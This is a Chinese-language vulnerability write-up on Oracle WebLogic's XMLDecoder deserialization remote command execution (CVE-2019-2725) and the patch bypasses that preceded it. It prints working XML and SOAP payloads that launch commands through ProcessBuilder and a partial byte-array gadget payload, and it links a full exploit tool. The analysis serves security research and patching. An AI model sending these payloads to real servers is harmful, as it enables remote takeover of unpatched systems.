Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读

0x01. 漏洞简介

此次漏洞不算什么新的点,核心利用点依旧是weblogic的xmldecoder反序列化漏洞,只是通过构造巧妙的利用链可以对Oracle官方历年来针对这个漏洞点的补丁绕过。Oracle针对这个漏洞点一直采用黑名单限制的方式,这种不太可靠修复方式被绕过当然也在情理之中。

0x02. 漏洞细节分析

漏洞点既然跟以往一样,那么可以很快定位到关键位置。我这里简单讲讲整个调用过程,首先定位到weblogic核心类针对soap消息的处理点:

经过soap消息消息解析和路由分发之后,soap header部分的wordcontext元素中的内容被当做属性传入WorkContextXmlInputAdapter适配器中,到这里离漏洞触发点已经不远了:

跟进WorkContextXmlInputAdapter这个类,可以看到其传入Inputstream类型参数的构造方法中实例化了一个XMLDecoder对象,并将得到的对象赋值给xmlDecoder属性,也就是说可以得到一个属性可控的XMLDecoder对象:

WorkContextXmlInputAdapter实例化完成后,继续跟进receiveRequest方法,到了weblogic.workarea包中的WorkContextLocalMap类中:

跟进readEntry()方法,传入的var1参数就是刚刚WorkContextXmlInputAdapter对象:

继续跟进readUTF()方法,就回到WorkContextXmlInputAdapter类中:

可以看到刚刚已经实例化的xmlDecoder对象调用了readObject()方法,且该对象的属性是我们可控的,也就是说反序列化的输入可控,也就造成了反序列化漏洞。至此漏洞点已经清晰了,可以开始考虑payload的构造,如果想看更详细的调试分析步骤的小伙伴,可以转到我们实验室的分析文章

0x03. Payload的构造

Xmldecoder反序列化漏洞的利用早在13年就已经公开了,具体可以参考这个项目。利用xmldecoder 指定的xml的节点标签(详情可以参看javabeans.dtd或者官方文档),我们精心构造出特定的xml文件,就可以实现任意类的任意方法的反序列化调用,当然RCE也在其中。比如我们可以直接利用Object元素构造一个ProcessBuilder对象,并调用其start方法,这也就是xmldecoder发序列化漏洞最初利用的payload,同样也是weblogic xmldecoder反序列化系列的第一个漏洞CVE-2017-3506的payload:

<?xml version="1.0" encoding="UTF-8"?>
<java>
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1" >
			<void index="0"> 
				<string>calc.exe</string>			
			</void>		
		</array>
		<void method="start"/>
	</object>
</java>

针对CVE-2017-3506,oracle及时更新了补丁,但是只是采用黑名单的形式,在WorkContextXmlInputAdapter类中增加了validate方法针对输入做了验证,禁止了Object标签的使用。当然该补丁很快就被绕过,也就是有了后来的CVE-2017-10271,此次的payload并没有采用object来指定反序列化的类,而是直接利用void元素的class属性代替:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
</soapenv:Envelope>

除此之外,网上还出现了一些变形的payload,大家发现可以直接利用new和method元素完成payload的构造,连void元素都不用了,所以payload还可以这样写:

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string>
<method name="start" />
    </new>
</java>

针对CVE-2017-10271,oracle再一次发布了补丁,这一次oracle收集了市面上所有的可以利用payload,做了一个大的payload黑名单集合,于是就是有了如下针对CVE-2017-10271的补丁:

可以看到,补丁可以分为三个部分,我们一部分一部分看,首先构造的payload中不能存在名字为object、new、method的元素节点,其次限制了void元素只能使用index属性或者空属性,以上两点就限制了我们目前能想到所有指定反序列化类名的poc,没了method元素,也没了带method属性的void元素,我们就不能指定任意的对象方法,最后array元素的class属性还只能是byte,进一步限定了对传入反序列化类的对象属性值。

这样看来此次补丁应该还是不错的,但黑名单始终是黑名单,参看xmldecoder的官方文档很容易发现class元素节点同样可以指定任意的反序列化类名的:

如此以来就绕过了以上补丁的第一个限制,也就是说我们又可以指定任意类了,但是要完成最终利用还需要解决对象方法和属性的传入,于是就有了CVE-2019-2725,也就是本文的重点,接着我们就来详细看看这个漏洞利用payload的构造。

首先可以利用class元素指定任意序列化类,但在上一个补丁的限制下我们没有办法指定该类的任意方法,没关系,很容易联想到在class标签中指定的类实例化时会自动调用其构造方法,那么万一哪个类的构造方法存在可利用点呢?

解决了类名和方法的限制,顺着这个思路继续往下,对传入该类构造方法的参数还得满足补丁的限制。回顾一下补丁,在传递参数时我们只能使用空属性或者只带index属性的void元素节点,其次在传入使用数组参数时,array元素的class属性只能为空或者byte。也就是这两个元素只能这样用:

<array class="byte" >...</array>
<array>...</array>
<void index="xxx">..</void>
<void>...</void>

说了那么多,其实很简单,我们只需要寻找一个类构造方法存在利用点,且其构造方法的参数类型恰好是字节数组或者是java中的基础数据类型,比如string,int这些,这样就可以满足array元素和void元素的限制条件。理清楚payload的构造原理,我们再来看此次的利用payload中的关键类:

oracle.toplink.internal.sessions.UnitOfWorkChangeSet

直接看关键代码部分,其参数为字节数组的构造方法:

代码很简单,对传入的参数直接反序列化了,那么结合该类二次反序列可以打造一条反序列化利用链,weblogic存在一个自带jre环境的版本,且自带的jdk版本为1.6+,可以利用jdk7u21 gadget达到RCE。不想依赖jdk版本的话,部分版本的commoncollection 同样可以作为gadget利用,其次利用rmi等反序列化常用gadget也都可以自由组合利用,本文weblogic的版本为10.3.6。

最终完整的payload构造也很简单,直接利用ysoserial生成序列化对象转成字节数组类型后拼接到xml中就好了。最终构造出的部分payload如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressi
ng" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:Relates
To>xx</wsa:RelatesTo> <
work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="2946">
<void index="0"><byte>-84</byte></void>
<void index="1"><byte>-19</byte></void>
<void index="2"><byte>0</byte></void>
<void index="3"><byte>5</byte></void>
    .....
</array>
</void>
</class>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

完整利用工具链接:https://github.com/iceMatcha/CNTA-2019-0014xCVE-2019-2725.git

以上都针对UnitOfWorkChangeSet这个类的利用链,那么还有可以其他利用的吗?答案是肯定的,在分析漏洞的过程中,我发现weblogic 10.3.6的jar包中存在spring的组件:

其中的FileSystemXmlApplicationContext和ClassPathXmlApplicationContext类可以用于加载spring的配置文件,利用spring的依赖注入同样可以完成RCE的利用。这个方法在去年jackson的反序列化漏洞利用中被提到过,具体payload的构造的话要注意spring组件的版本,低版本可能会不支持spel表达式,不过利用构造器注入同样可以RCE。这里就不放出具体的利用了,感兴趣的小伙伴可以自己去尝试下。

至于其余的利用链,还有一些点,大家可以按着这个思路去继续发掘。

0x04. 总结

修复建议的话可以参考我们实验室给出的,比较详细。最后我们来看看官方最新的补丁包,可以看到再一次扩充和完善了黑名单,直接ban掉了class元素以及限制了array元素的长度:

攻防对抗再次升级,那么是否会再一次被绕过呢?我想可能会吧,事实证明黑名单真的不太靠谱,比如array元素的长度限制真的毫无意义,因为XMLDecoder官方文档有这样一段话:

0x05. 参考链接

https://www.anquanke.com/post/id/177381

https://github.com/o2platform/DefCon_RESTing

https://www.oracle.com/technetwork/java/persistence3-139471.html

Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读》有1个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注